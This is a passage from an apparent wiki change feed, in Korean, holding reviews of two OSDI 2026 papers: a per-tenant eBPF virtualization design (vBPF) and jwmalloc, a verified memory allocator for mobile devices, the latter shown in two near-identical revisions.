#: Physical hook에는 tenant program 대신 하나의 multiplexer를 두고, namespace를 key로 하는 hash table에서 해당 program array를 직접 찾는다. Native eBPF의 global linear traversal을 tenant별 &amp;lt;math&amp;gt;O(1)&amp;lt;/math&amp;gt; lookup과 cache-friendly sequential execution으로 바꾸므로 unrelated program 호출을 제거한다. Namespace ancestor chain은 attachment 시 flattened array로 미리 계산할 수 있다. 이는 runtime recursion을 없애는 대신 update 때 array를 atomically 재구성하고 namespace별 memory를 추가로 사용한다.&lt;br /&gt;
# &#039;&#039;&#039;Compiler-enforced state isolation&#039;&#039;&#039;&lt;br /&gt;
#: Customized Clang frontend의 static analyzer는 verifier-visible helper와 kfunc를 state-access checkpoint로 사용한다. &amp;lt;code&amp;gt;vbpf_helper&amp;lt;/code&amp;gt;로 interface를 식별하고, global state를 변경할 가능성이 있는 call은 default-deny하며, kernel developer가 &amp;lt;code&amp;gt;vbpf_safe&amp;lt;/code&amp;gt;로 승인한 경우만 허용한다. Pointer argument는 verifier의 type·memory-region 정보를 이용해 tenant-private/read-only 여부를 분류한다. 이 방식은 tenant code가 임의의 shared state mutation path를 우회하지 못한다는 invariant를 세우지만, annotation과 analyzer soundness를 trusted computing base에 포함한다.&lt;br /&gt;
# &#039;&#039;&#039;vBPF variables library&#039;&#039;&#039;&lt;br /&gt;
#: 복제 가능한 static state는 declarative API로 namespace별 instance를 lazy allocation한다. 여러 field와 이를 보호하는 lock은 한 storage group으로 배치해 일관되게 resolve한다. 반면 &amp;lt;code&amp;gt;sk_buff&amp;lt;/code&amp;gt;처럼 복제할 수 없는 shared kernel object에는 [[BPF Type Format|BTF]] layout을 이용한 semantic state overlay를 적용한다. Helper 실행 전 clean base state를 복원하고 tenant patch를 apply하며, 실행 중 capture 또는 field-level update로 변경분을 기록한 뒤 namespace patch set에 finalize한다. Context switch 때 patch를 원자적으로 apply/restore하여 tenant별 view를 제공하며, full memory snapshot 대신 의미 있는 field 변경만 저장한다.&lt;br /&gt;
# &#039;&#039;&#039;Hot-path implementation&#039;&#039;&#039;&lt;br /&gt;
#: Sniffer registry와 Dispatcher table은 [[Read-copy-update|RCU]]-protected hash table로 구현하여 lookup을 lock-free로 수행한다. Critical-section allocation 실패와 latency variation을 줄이기 위해 object pool은 preallocate하고, tenant-private state는 첫 접근까지 lazy allocation한다. Hierarchy path와 BTF layout은 setup 시 precompute한다. 구현 규모는 Linux 6.12 kernel 약 12 KLoC와 LLVM 20 Clang plugin 약 1 KLoC이다.&lt;br /&gt;
&lt;br /&gt;
== [[Conclusion]] ==&lt;br /&gt;
본 논문은 eBPF의 per-kernel context가 아니라 per-process context로 확장 시켜야 된다고 주장한다. 논문에서 제시하는 Motivation은&amp;lt;ref&amp;gt;Section 2.2 From Platform to Tenant eBPF&amp;lt;/ref&amp;gt; 기존 논문이 다루지 않았다는 점에서 신선하였다. 그러나 본 논문은 필연적으로 커널의 여러 부분을 건드리기 때문에 여러 Corner case에 대한 의문이 생길 수 밖에 없었다.&lt;br /&gt;
&lt;br /&gt;
우선, Motivation에서 궁금한 점이 있다. eBPF는 Per-process context로 실행시키는 프로그램이 있으면 새로운 BPF program type을 만들면 된다고 생각한다. XDP나 Storage같은 Device장치의 가속은 보통은 Per-process가 아니라 Per-kernel에서 작동해야만 효율적인 경우가 대부분인다. 따라서 eBPF의 현재 Execution model이 진짜 Per-process를 Support못해서가 아닌, 그렇게 하는 경우가 대부분인기 떄문에 지원하지 않는다고 보는 것이 좋아보인다. 그리고 eBPF는 기본적으로 CAP_BPF아니면 Root privileged를 요구하는 경우가 많다. 이 경우 단순히 그냥 namespace만 manual하게 체크할 수 있도록 하는 hook을 추가하면 될지 않을까 하는 생각이 든다.&lt;br /&gt;
&lt;br /&gt;
Correctness측면에서의 의문은, 또한 Namespace로 묶는 vBPF Sniffer는 결국 Interrupt context -&amp;gt; task의 backward mapping인데, 이 부분이 모든 BPF Program type마다 다를텐데, 이를 어떻게 일이 태깅 하냐의 문제가 생길 것이라 생각한다. 또한 논문에서 주장하는 TCB에서 DoS가 빠져있는데, DoS는 Per-process context에서 매우 중요한 Threat model이다. 이를 뺴면 안된다고 생각한다. 또한 만약 Process에서 먼저 실행되지 않는 Context가 있으면 이는 어떻게 처리할 것인가? Kfunc는 이미 2022년 이후로 Default가 되었고, Helper function만 지원한다는 것도 큰 Limitation이다. Concurrency는 어떻게 할지도 의문이 남는다. RCU Lock을 잡고 Resource를 건들고 있다고 해보자. State overlay같은 경우에는 두개의 복사본이 있는 것인데, RCU Lock을 두 스레드가 공유하고 있다면? Merge할때 분명히 관련하여 문제가 생길것이라고 생각한다.&lt;br /&gt;
&lt;br /&gt;
성능면에서는, 그리고 namespace lookup에 10ns-100ns가 걸린다고 하였는데, 이는 100Gb/s가 넘어가는 현재 시스템에 적용하기에는 큰 오버헤드이다.&lt;br /&gt;
&lt;br /&gt;
최종적으로 여러 Per-tenent policy가 Global policy랑 Conflict될때 어떻게 Sound하게 처리할지에 대한 이야기가 없다. 만약 Global policy상 이 Process는 schedule out시켜야 하는데 per-tenent eBPF program이 schedule out시키지 않아야 한다고 주장하면 어떻게 할 것인가? Virtualization이 이 모든 Specific case를 보장할 수 있을 것인가? 어떤식으로 보장되는지 Restrict할수 있을 것인가?&lt;br /&gt;
&lt;br /&gt;
=== Major Concerns ===&lt;br /&gt;
논문에는 또한 State overlay의 Semantic이 정의되어 있지 않다. 논문은 tenant별 patch가 어떻게 capture되고, 적용되며, 다시 되돌려지는지는 설명한다. 그러나 이러한 virtual modification이 실제 kernel의 canonical state와 어떻게 상호작용하는지는 불분명하다. 특히 여러 tenant가 동일한 shared object를 수정하는 경우, 그중 어떤 변경사항이 이후 kernel execution에 실제로 반영되는지가 명확하지 않다.&lt;br /&gt;
&lt;br /&gt;
더 중요한 문제는 tenant patch와 kernel이 정상적으로 수행하는 state update가 서로 어떻게 조정되는가이다. 예를 들어 overlay가 적용되는 사이 또는 동시에 kernel이 같은 object를 수정한다면, 두 변경사항 중 어떤 것이 우선하며 어떻게 병합되는지 설명되어 있지 않다. Discussion에서는 현재 설계가 exclusive access를 가정하며 RCU reader를 명시적으로 다루지 않는다고 인정하고 있지만, exclusive access만으로는 kernel과 tenant가 충돌하는 update를 어떻게 commit하거나 revert할지는 다루지 않는다.&lt;br /&gt;
&lt;br /&gt;
[[분류: USENIX OSDI]]&lt;/div&gt;</summary>
		<author><name>Ahn9807</name></author>
	</entry>
	<entry>
		<id>http://junhoahn.kr/noriwiki/index.php?title=Jwmalloc:_A_Verified_Memory_Allocator_for_Mobile_Devices&amp;diff=7159</id>
		<title>Jwmalloc: A Verified Memory Allocator for Mobile Devices</title>
		<link rel="alternate" type="text/html" href="http://junhoahn.kr/noriwiki/index.php?title=Jwmalloc:_A_Verified_Memory_Allocator_for_Mobile_Devices&amp;diff=7159"/>
		<updated>2026-09-02T03:12:00Z</updated>

		<summary type="html">&lt;p&gt;Ahn9807: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{Paper&lt;br /&gt;
|title=jwmalloc: A Verified Memory Allocator for Mobile Devices&lt;br /&gt;
|author=Jiawei Wang, Ming Fu, Ruixian Wang, Chao Xu, Jonas Oberhauser, Haibo Chen&lt;br /&gt;
|conference=USENIX OSDI&lt;br /&gt;
|year=2026&lt;br /&gt;
}}&lt;br /&gt;
&lt;br /&gt;
== 개요 ==&lt;br /&gt;
이 논문은 기존 범용 [[Memory allocator|동적 메모리 할당기]]의 설계가 모바일 workload의 잦은 memory reformatting, 큰 peak–trough memory swing, 공격적인 reclaim, 높은 thread oversubscription과 왜 맞지 않는지를 밝히고, uniform slab, closed sibling tree, lifetime-aware reclamation, non-blocking interface를 결합한 &#039;&#039;&#039;jwmalloc&#039;&#039;&#039;로 CPU·전력·메모리·tail latency를 함께 개선하였다.&lt;br /&gt;
&lt;br /&gt;
== Motivation ==&lt;br /&gt;
모바일기기에서 Allocator의 성능은 사용가가 보는 응답에 직접 영향을 준다. 따라서 모바일 기기는 제한된 리소스인 CPU, Enenergy, Low memory overhead를 Low tail latency와 함께 제공해야 한다. 논문에서는 jemalloc이 안드로이드에서는 8.2%, 하모니 OS에서는 12.4%의 instruction cycles를 차지한다고 리포트 하였다.&lt;br /&gt;
&lt;br /&gt;
저자들은 기존 allocator와 모바일 workload 사이에서 네 가지 mismatch가 있다고 주장한다.&lt;br /&gt;
&lt;br /&gt;
# &#039;&#039;&#039;Frequent memory reformatting&#039;&#039;&#039; -&amp;gt; &#039;&#039;&#039;Size-class reuse overhead&#039;&#039;&#039;: 시간에 따라 지배적인 object size가 빠르게 바뀌지만 전체 in-use memory는 비교적 일정하다. size class마다 slab 크기가 다른 jemalloc은 freed memory를 다른 class에 재사용할 때 backend subdivision/coalescing을 반복해야 한다.&lt;br /&gt;
# &#039;&#039;&#039;Large peak–trough swing&#039;&#039;&#039; -&amp;gt; &#039;&#039;&#039;Metadata overhead&#039;&#039;&#039;: foreground/background 전환과 bursty interaction 때문에 peak memory가 steady-state보다 크게 높다. 관찰한 graphics service에서는 peak가 steady-state의 5배를 넘었다. peak에 맞춰 커진 grow-only metadata는 수요가 내려간 뒤에도 남는다.&lt;br /&gt;
# &#039;&#039;&#039;Aggressive reclamation&#039;&#039;&#039; -&amp;gt; &#039;&#039;&#039;System call overhead&#039;&#039;&#039;: server에서는 5–15초인 reclaim delay가 모바일에서는 흔히 1초 이하이다. 너무 빨리 page를 OS에 돌려주면 곧 free될 이웃 range와의 coalescing 기회를 잃고 system call을 반복하지만, 무조건 늦추면 footprint가 증가한다.&lt;br /&gt;
# &#039;&#039;&#039;High oversubscription&#039;&#039;&#039; -&amp;gt; &#039;&#039;&#039;High parallelism requirement&#039;&#039;&#039;: 한 app-market scenario에서 8 core 위에 123 process와 742 thread가 실행되었다. lock을 잡은 thread가 deschedule되면 UI thread까지 기다리는 [[Priority inversion]]이 생길 수 있으며, producer–consumer workload에서 흔한 cross-thread free가 이 위험을 키운다.&lt;br /&gt;
&lt;br /&gt;
== Background ==&lt;br /&gt;
Memory Allocator는 대체로 small object를 slab에서 처리하는 frontend와, OS page 단위 virtual-memory range를 관리하며 slab 및 large object에 memory를 공급하는 backend로 나뉜다. jwmalloc은 4KB OS page 환경에서 2KB 미만을 thread-local frontend, 2–16KB를 process-wide slab-style midend, 16KB–4MB를 backend, 4MB 초과를 direct system call로 처리한다.&lt;br /&gt;
&lt;br /&gt;
그러나, 모바일 allocation demand는 서버랑 다르게, 단순히 “작은 object가 많다”가 아니라, &#039;&#039;&#039;size별 demand가 빠르게 이동하고, page lifetime이 양극화되며, 적은 core에 많은 thread가 몰린다&#039;&#039;&#039;는 것이다.&lt;br /&gt;
&lt;br /&gt;
따라서, 기존의 방식은 모바일 시스템에서 다음과 같은 4개의 문제가 있었다.&lt;br /&gt;
&lt;br /&gt;
# CPU cost와 Slab관리로 인한 메모리 오버헤드의 Trade-off측면: Size-class를 관리하기 위한 CPU overhead가 크기 때문에 Frequent memory reformatting상황에서 CPU utilization이 커진다.&lt;br /&gt;
# OS에서 받아오는 Larger-size 단계의 존재: OS에서 메모리를 받아와서 각 size class별로 나누어 쓰기 때문에 Peak Memory상황에서 이 Two-level policy를 위한 Metadata의 Memory Overhead와 Division을 위한 CPU Utilization이 커진다.&lt;br /&gt;
# Memory reclamation policy가 Lifetime을 고려하지 않음: 이를 통해서 모바일 시스템에서는 Reclamation이 너무 빨라져서 추가적인 오버헤드가 발생함&lt;br /&gt;
# Coarse-grained lock을 통한 메타데이트 관리: High oversubscription이 자주 발생하는 모바일 환경에서는 적합하지 않은 디자인&lt;br /&gt;
&lt;br /&gt;
== Main Idea ==&lt;br /&gt;
# Uniform and Pooled Slab Frontend: 모든 Slab이 같은 사이즈를 가지게 하였다.&lt;br /&gt;
# Size-class-exact range backend: &lt;br /&gt;
# Lifetime-based reclamation&lt;br /&gt;
# Non-blocking interfaces&lt;br /&gt;
# Verification under WMMs&lt;br /&gt;
&lt;br /&gt;
== Design ==&lt;br /&gt;
; &#039;&#039;&#039;Uniform and Pooled Slab Frontend&#039;&#039;&#039;&lt;br /&gt;
: &#039;&#039;&#039;Problem&#039;&#039;&#039;: heterogeneous slab은 per-slab tail waste를 줄이지만 size demand가 바뀔 때 다른 크기의 slab로 즉시 바꿀 수 없다. 반대로 큰 uniform slab은 object 하나가 남아도 slab 전체가 pinned되는 footprint 문제가 있다.&lt;br /&gt;
: &#039;&#039;&#039;Design&#039;&#039;&#039;: half-page 이하 size class에 한 OS page(4KB)의 uniform slab을 사용하고, slab 크기를 바꾸는 대신 size class를 가능한 딱 맞는 크기로 조절하여 최대한 4KB slab에 많은 오브젝트를 넣을 수 있도록 한다. 이를 통해서 tail fragmentation을 줄일 수 있다. 완전히 빈 slab은 per-thread shared pool에 plain memory로 보관했다가 어느 frontend class로든 reinitialize한다.&lt;br /&gt;
: &#039;&#039;&#039;Why it helps / tradeoff&#039;&#039;&#039;: coalescing 없이 class 간 즉시 재사용할 수 있고 common-path instruction 수가 줄어든다. 다만 page에 가까운 size에서는 uniform slab의 이점이 약해지므로, 2–16KB object는 별도의 process-wide midend가 담당한다.&lt;br /&gt;
&lt;br /&gt;
; &#039;&#039;&#039;Size-Class-Exact Range Backend&#039;&#039;&#039;&lt;br /&gt;
저자들은 기존 메모리 할당자와 마찬가지로 R=3 resolution의 size-class set을 사용하여 allocation request의 rounding으로 인한 internal fragmentation을 제한한다. 그러나 기존 allocator의 backend는 이러한 size classes와 별개로 memory ranges를 관리한다. 예를 들어 jemalloc과 tcmalloc은 각각 4KB와 8KB 단위로 range를 split/coalesce하기 때문에 실제 size class에 해당하지 않는 intermediate-sized free ranges가 다수 생성될 수 있다. 저자들은 이러한 intermediate ranges를 없애기 위해, backend에서 관리되는 모든 range의 크기가 항상 size-class set에 속하도록 하는 size-class-exact range management를 제안한다. 이를 위해서 Closed Sibliing Tree와 Per-Granule Metadata with Metadata shifting을 이용한 Eager subdivision과 On-demand coalescing을 제시하였다.&lt;br /&gt;
&lt;br /&gt;
[[파일:OSDI2026 jwmalloc figure9.png|섬네일|가운데|700픽셀]]&lt;br /&gt;
; &#039;&#039;&#039;Closed Sibling Tree&#039;&#039;&#039;&lt;br /&gt;
: Backend에서 관리하는 모든 range의 크기를 size class에 정확히 맞추기 위해, 저자들은 기존 buddy allocator의 일반화된 형태인 Closed Sibling Tree를 제안한다. Classical buddy allocator는 (2^k) 크기의 range만 표현할 수 있고, weighted buddy나 dual buddy와 같은 변형도 (2^k)와 (3\times2^k) 등 제한된 크기만 지원하므로, 임의의 resolution-(R) size-class set을 정확히 표현할 수 없다. Closed Sibling Tree는 각 node와 subdivision으로 생성되는 모든 child의 크기가 size class에 속하도록 구성함으로써, 임의의 resolution-(R) size-class set을 backend range로 표현할 수 있도록 한다.&lt;br /&gt;
&lt;br /&gt;
; &#039;&#039;&#039;Reclaimable Per-Granule Metadata&#039;&#039;&#039;&lt;br /&gt;
: Closed Sibling Tree를 일반적인 pointer-based tree로 저장하면 metadata overhead가 커지므로, 저자들은 4KB granule마다 12B의 작은 metadata entry를 두고 이를 1차원 배열로 관리한다. Parent나 sibling을 가리키는 pointer를 직접 저장하는 대신, 각 node의 크기와 tree 내 위치 정보를 이용해 대상 node가 현재 위치에서 몇 개의 metadata entry만큼 떨어져 있는지를 계산한다. 저자들은 이러한 pointer-free tree traversal 방식을 &#039;&#039;&#039;metadata shifting&#039;&#039;&#039;이라 명명하였다.&lt;br /&gt;
&lt;br /&gt;
; &#039;&#039;&#039;Lifetime-Based Reclamation&#039;&#039;&#039;&lt;br /&gt;
: free range의 나이뿐 아니라 향후 sibling과 coalesce될 가능성을 고려해 reclamation 순서를 정하고, 이를 active/standby 두 buffer만으로 근사하였다.&lt;br /&gt;
&lt;br /&gt;
; &#039;&#039;&#039;Non-Blocking Interface and Ownership Transfer&#039;&#039;&#039;&lt;br /&gt;
: shared allocator state에 대한 lock 경쟁이 발생하면 기다리지 않고, allocation은 다른 larger range를 임시로 이용하고 free는 deferred list로 미룸으로써 UI thread 등의 allocator-induced blocking을 방지하였다.&lt;br /&gt;
&lt;br /&gt;
; &#039;&#039;&#039;Bounded Verification under Weak Memory Models&#039;&#039;&#039;&lt;br /&gt;
: jwmalloc을 frontend/midend/backend의 library-style interface로 분리하고, cross-thread free, buffer drain, thread 생성·종료 등 edge case별 small concurrent client를 작성한다. [[VSync]] toolchain으로 각 client가 허용하는 weak-memory execution을 모두 탐색하여 assertion, memory safety, data-race absence, loop termination을 검사하였다.&lt;br /&gt;
&lt;br /&gt;
== Result ==&lt;br /&gt;
&lt;br /&gt;
=== Workload characterization ===&lt;br /&gt;
=== Microbenchmarks ===&lt;br /&gt;
&lt;br /&gt;
* 4-core x86 server에서 mobile oversubscription을 모사하고 rptest, xmalloc, mstress, mleak를 실행했다. jwmalloc은 jemalloc보다 평균 74% 높은 performance와 약 82% 적은 allocator-side instruction을 보였다.&lt;br /&gt;
* Frontend만 jwmalloc로 바꾸고 jemalloc backend를 유지한 &#039;&#039;jw+jemalloc&#039;&#039;도 일부 test에서 크게 빨라져 uniform/pooling frontend의 독립적 효과를 보였다. Full jwmalloc의 rptest-8B-1MB-N에서는 jemalloc, mimalloc, tcmalloc의 allocator instruction이 각각 jwmalloc의 32.8×, 2.55×, 1.81×였다.&lt;br /&gt;
* Sleep-augmented mstress-10N에서 jwmalloc의 peak/steady footprint는 906MB/29MB였고 jemalloc은 968MB/376MB였다. &#039;&#039;jw+jemalloc&#039;&#039;의 footprint가 jemalloc과 비슷했다는 점은 steady-state 감소의 주된 원인이 backend 및 reclamation임을 지지한다.&lt;br /&gt;
* Heavy oversubscription인 mstress-10N에서 jwmalloc의 P99.99 operation latency는 1.5µs로, 가장 좋은 경쟁 allocator의 5.9µs보다 낮았다.&lt;br /&gt;
* 단, allocation 분포가 4KB 근처에 몰린 8B–4KB/10N 설정에서는 uniform slab의 의도적 tradeoff와 fallback work 때문에 일부 performance/load regression이 있었다.&lt;br /&gt;
&lt;br /&gt;
또한, microbenchmark의 allocator-side instruction 절감이 한 기기의 whole-system load와 CPU power 감소로 이어졌으며, 그 과정에서 jemalloc 대비 footprint가 악화되지 않았다는 것이 논문의 핵심 end-to-end evidence이다.&lt;br /&gt;
&lt;br /&gt;
== Contribution ==&lt;br /&gt;
# 모바일 allocation workload를 profile하여 frequent reformatting, peak–trough swing, aggressive reclamation, oversubscription이라는 네 가지 allocator mismatch를 제시하였다.&lt;br /&gt;
# 화웨이 휴대폰 사용자를 대상으로 Mass-test를 진행하여서 Allocator가 효과적으로 성능 향상을 보임을 실증하였다.&lt;br /&gt;
&lt;br /&gt;
== [[Conclusion]] ==&lt;br /&gt;
본 연구는 모바일 환경에서의 Unique한 특성을 Memory allocator에 반영시킬때 어떠한 점을 고려해야 하고, 어떠한 디자인을 적용시킬 수 있는지 제시하였다. 그 결과 Jemalloc대비 훨씬 더 좋은 성능을 보였다. Allocator만 최적화하여 10%단위의 성능 향상을 꾀하기에는 매우 힘들기에, 제시한 디자인의 최적화가 매우 효과적임을 보여준다. 이 논문은 향후 Mobile에서 동작하는 Memory Allocator을 디자인함에 있어서 어떤 점을 고려해야 하고, 어떻게 검증해야 하는지 좋은 방향을 제기한 논문이라고 생각한다.&lt;br /&gt;
&lt;br /&gt;
=== Minor comments ===&lt;br /&gt;
# 섹션 2.2의 의도가 논문 전체에서 어떤 역활인지 모르겠다. Secure allocator가 모바일 환경에서 중요하지 않다는 정보가 갑자기 등장해서 굳이라는 생각이 들었다.&lt;br /&gt;
&lt;br /&gt;
=== Major comments ===&lt;br /&gt;
# 기존의 Size-class방식이 더 잘 작동하는 Workload가 어떤 것인지 제시되어 있지 않다. Size-class로 나누는 이유는 Metadata management의 용이성 + Long-runnning시의 Fragmentation관리 때문인데, 본 시스템이 Size-class를 없앰으로서 어떤 Cons를 가지는지 분석한 결과가 있었으면 더 Complete했을 듯 하다.&lt;br /&gt;
# 본 논문의 Motivation은 잘 알려진 부분이고, 또한 Design이 Collection of optimization이라는 점은, 본 논문의 Novelty측면에서 다른 Work들 대비 제한적이게 만드는 요소라고 생각한다. 그러나 Memory Allocator을 본 연구처럼 기존 대비 성능 향상을 10%단위로 보일정도로 최적화 하는 연구는 (1) 생각보다 매우 어렵고 (2) 필연적으로 Optimization work이라는 점을 고려하였을때, 중요한 Memory Allocator연구라고 생각한다.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[분류:USENIX OSDI]]&lt;/div&gt;</summary>
		<author><name>Ahn9807</name></author>
	</entry>
	<entry>
		<id>http://junhoahn.kr/noriwiki/index.php?title=Jwmalloc:_A_Verified_Memory_Allocator_for_Mobile_Devices&amp;diff=7158</id>
		<title>Jwmalloc: A Verified Memory Allocator for Mobile Devices</title>
		<link rel="alternate" type="text/html" href="http://junhoahn.kr/noriwiki/index.php?title=Jwmalloc:_A_Verified_Memory_Allocator_for_Mobile_Devices&amp;diff=7158"/>
		<updated>2026-09-02T03:11:34Z</updated>

		<summary type="html">&lt;p&gt;Ahn9807: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{Paper&lt;br /&gt;
|title=jwmalloc: A Verified Memory Allocator for Mobile Devices&lt;br /&gt;
|author=Jiawei Wang, Ming Fu, Ruixian Wang, Chao Xu, Jonas Oberhauser, Haibo Chen&lt;br /&gt;
|conference=USENIX OSDI&lt;br /&gt;
|year=2026&lt;br /&gt;
}}&lt;br /&gt;
&lt;br /&gt;
== 개요 ==&lt;br /&gt;
이 논문은 기존 범용 [[Memory allocator|동적 메모리 할당기]]의 설계가 모바일 workload의 잦은 memory reformatting, 큰 peak–trough memory swing, 공격적인 reclaim, 높은 thread oversubscription과 왜 맞지 않는지를 밝히고, uniform slab, closed sibling tree, lifetime-aware reclamation, non-blocking interface를 결합한 &#039;&#039;&#039;jwmalloc&#039;&#039;&#039;로 CPU·전력·메모리·tail latency를 함께 개선하였다.&lt;br /&gt;
&lt;br /&gt;
== Motivation ==&lt;br /&gt;
모바일기기에서 Allocator의 성능은 사용가가 보는 응답에 직접 영향을 준다. 따라서 모바일 기기는 제한된 리소스인 CPU, Enenergy, Low memory overhead를 Low tail latency와 함께 제공해야 한다. 논문에서는 jemalloc이 안드로이드에서는 8.2%, 하모니 OS에서는 12.4%의 instruction cycles를 차지한다고 리포트 하였다.&lt;br /&gt;
&lt;br /&gt;
저자들은 기존 allocator와 모바일 workload 사이에서 네 가지 mismatch가 있다고 주장한다.&lt;br /&gt;
&lt;br /&gt;
# &#039;&#039;&#039;Frequent memory reformatting&#039;&#039;&#039; -&amp;gt; &#039;&#039;&#039;Size-class reuse overhead&#039;&#039;&#039;: 시간에 따라 지배적인 object size가 빠르게 바뀌지만 전체 in-use memory는 비교적 일정하다. size class마다 slab 크기가 다른 jemalloc은 freed memory를 다른 class에 재사용할 때 backend subdivision/coalescing을 반복해야 한다.&lt;br /&gt;
# &#039;&#039;&#039;Large peak–trough swing&#039;&#039;&#039; -&amp;gt; &#039;&#039;&#039;Metadata overhead&#039;&#039;&#039;: foreground/background 전환과 bursty interaction 때문에 peak memory가 steady-state보다 크게 높다. 관찰한 graphics service에서는 peak가 steady-state의 5배를 넘었다. peak에 맞춰 커진 grow-only metadata는 수요가 내려간 뒤에도 남는다.&lt;br /&gt;
# &#039;&#039;&#039;Aggressive reclamation&#039;&#039;&#039; -&amp;gt; &#039;&#039;&#039;System call overhead&#039;&#039;&#039;: server에서는 5–15초인 reclaim delay가 모바일에서는 흔히 1초 이하이다. 너무 빨리 page를 OS에 돌려주면 곧 free될 이웃 range와의 coalescing 기회를 잃고 system call을 반복하지만, 무조건 늦추면 footprint가 증가한다.&lt;br /&gt;
# &#039;&#039;&#039;High oversubscription&#039;&#039;&#039; -&amp;gt; &#039;&#039;&#039;High parallelism requirement&#039;&#039;&#039;: 한 app-market scenario에서 8 core 위에 123 process와 742 thread가 실행되었다. lock을 잡은 thread가 deschedule되면 UI thread까지 기다리는 [[Priority inversion]]이 생길 수 있으며, producer–consumer workload에서 흔한 cross-thread free가 이 위험을 키운다.&lt;br /&gt;
&lt;br /&gt;
== Background ==&lt;br /&gt;
Memory Allocator는 대체로 small object를 slab에서 처리하는 frontend와, OS page 단위 virtual-memory range를 관리하며 slab 및 large object에 memory를 공급하는 backend로 나뉜다. jwmalloc은 4KB OS page 환경에서 2KB 미만을 thread-local frontend, 2–16KB를 process-wide slab-style midend, 16KB–4MB를 backend, 4MB 초과를 direct system call로 처리한다.&lt;br /&gt;
&lt;br /&gt;
그러나, 모바일 allocation demand는 서버랑 다르게, 단순히 “작은 object가 많다”가 아니라, &#039;&#039;&#039;size별 demand가 빠르게 이동하고, page lifetime이 양극화되며, 적은 core에 많은 thread가 몰린다&#039;&#039;&#039;는 것이다.&lt;br /&gt;
&lt;br /&gt;
따라서, 기존의 방식은 모바일 시스템에서 다음과 같은 4개의 문제가 있었다.&lt;br /&gt;
&lt;br /&gt;
# CPU cost와 Slab관리로 인한 메모리 오버헤드의 Trade-off측면: Size-class를 관리하기 위한 CPU overhead가 크기 때문에 Frequent memory reformatting상황에서 CPU utilization이 커진다.&lt;br /&gt;
# OS에서 받아오는 Larger-size 단계의 존재: OS에서 메모리를 받아와서 각 size class별로 나누어 쓰기 때문에 Peak Memory상황에서 이 Two-level policy를 위한 Metadata의 Memory Overhead와 Division을 위한 CPU Utilization이 커진다.&lt;br /&gt;
# Memory reclamation policy가 Lifetime을 고려하지 않음: 이를 통해서 모바일 시스템에서는 Reclamation이 너무 빨라져서 추가적인 오버헤드가 발생함&lt;br /&gt;
# Coarse-grained lock을 통한 메타데이트 관리: High oversubscription이 자주 발생하는 모바일 환경에서는 적합하지 않은 디자인&lt;br /&gt;
&lt;br /&gt;
== Main Idea ==&lt;br /&gt;
# Uniform and Pooled Slab Frontend: 모든 Slab이 같은 사이즈를 가지게 하였다.&lt;br /&gt;
# Size-class-exact range backend: &lt;br /&gt;
# Lifetime-based reclamation&lt;br /&gt;
# Non-blocking interfaces&lt;br /&gt;
# Verification under WMMs&lt;br /&gt;
&lt;br /&gt;
== Design ==&lt;br /&gt;
; &#039;&#039;&#039;Uniform and Pooled Slab Frontend&#039;&#039;&#039;&lt;br /&gt;
: &#039;&#039;&#039;Problem&#039;&#039;&#039;: heterogeneous slab은 per-slab tail waste를 줄이지만 size demand가 바뀔 때 다른 크기의 slab로 즉시 바꿀 수 없다. 반대로 큰 uniform slab은 object 하나가 남아도 slab 전체가 pinned되는 footprint 문제가 있다.&lt;br /&gt;
: &#039;&#039;&#039;Design&#039;&#039;&#039;: half-page 이하 size class에 한 OS page(4KB)의 uniform slab을 사용하고, slab 크기를 바꾸는 대신 size class를 가능한 딱 맞는 크기로 조절하여 최대한 4KB slab에 많은 오브젝트를 넣을 수 있도록 한다. 이를 통해서 tail fragmentation을 줄일 수 있다. 완전히 빈 slab은 per-thread shared pool에 plain memory로 보관했다가 어느 frontend class로든 reinitialize한다.&lt;br /&gt;
: &#039;&#039;&#039;Why it helps / tradeoff&#039;&#039;&#039;: coalescing 없이 class 간 즉시 재사용할 수 있고 common-path instruction 수가 줄어든다. 다만 page에 가까운 size에서는 uniform slab의 이점이 약해지므로, 2–16KB object는 별도의 process-wide midend가 담당한다.&lt;br /&gt;
&lt;br /&gt;
; &#039;&#039;&#039;Size-Class-Exact Range Backend&#039;&#039;&#039;&lt;br /&gt;
저자들은 기존 메모리 할당자와 마찬가지로 R=3 resolution의 size-class set을 사용하여 allocation request의 rounding으로 인한 internal fragmentation을 제한한다. 그러나 기존 allocator의 backend는 이러한 size classes와 별개로 memory ranges를 관리한다. 예를 들어 jemalloc과 tcmalloc은 각각 4KB와 8KB 단위로 range를 split/coalesce하기 때문에 실제 size class에 해당하지 않는 intermediate-sized free ranges가 다수 생성될 수 있다. 저자들은 이러한 intermediate ranges를 없애기 위해, backend에서 관리되는 모든 range의 크기가 항상 size-class set에 속하도록 하는 size-class-exact range management를 제안한다. 이를 위해서 Closed Sibliing Tree와 Per-Granule Metadata with Metadata shifting을 이용한 Eager subdivision과 On-demand coalescing을 제시하였다.&lt;br /&gt;
&lt;br /&gt;
[[파일:OSDI2026 jwmalloc figure9.png|섬네일|가운데]]&lt;br /&gt;
; &#039;&#039;&#039;Closed Sibling Tree&#039;&#039;&#039;&lt;br /&gt;
: Backend에서 관리하는 모든 range의 크기를 size class에 정확히 맞추기 위해, 저자들은 기존 buddy allocator의 일반화된 형태인 Closed Sibling Tree를 제안한다. Classical buddy allocator는 (2^k) 크기의 range만 표현할 수 있고, weighted buddy나 dual buddy와 같은 변형도 (2^k)와 (3\times2^k) 등 제한된 크기만 지원하므로, 임의의 resolution-(R) size-class set을 정확히 표현할 수 없다. Closed Sibling Tree는 각 node와 subdivision으로 생성되는 모든 child의 크기가 size class에 속하도록 구성함으로써, 임의의 resolution-(R) size-class set을 backend range로 표현할 수 있도록 한다.&lt;br /&gt;
&lt;br /&gt;
; &#039;&#039;&#039;Reclaimable Per-Granule Metadata&#039;&#039;&#039;&lt;br /&gt;
: Closed Sibling Tree를 일반적인 pointer-based tree로 저장하면 metadata overhead가 커지므로, 저자들은 4KB granule마다 12B의 작은 metadata entry를 두고 이를 1차원 배열로 관리한다. Parent나 sibling을 가리키는 pointer를 직접 저장하는 대신, 각 node의 크기와 tree 내 위치 정보를 이용해 대상 node가 현재 위치에서 몇 개의 metadata entry만큼 떨어져 있는지를 계산한다. 저자들은 이러한 pointer-free tree traversal 방식을 &#039;&#039;&#039;metadata shifting&#039;&#039;&#039;이라 명명하였다.&lt;br /&gt;
&lt;br /&gt;
; &#039;&#039;&#039;Lifetime-Based Reclamation&#039;&#039;&#039;&lt;br /&gt;
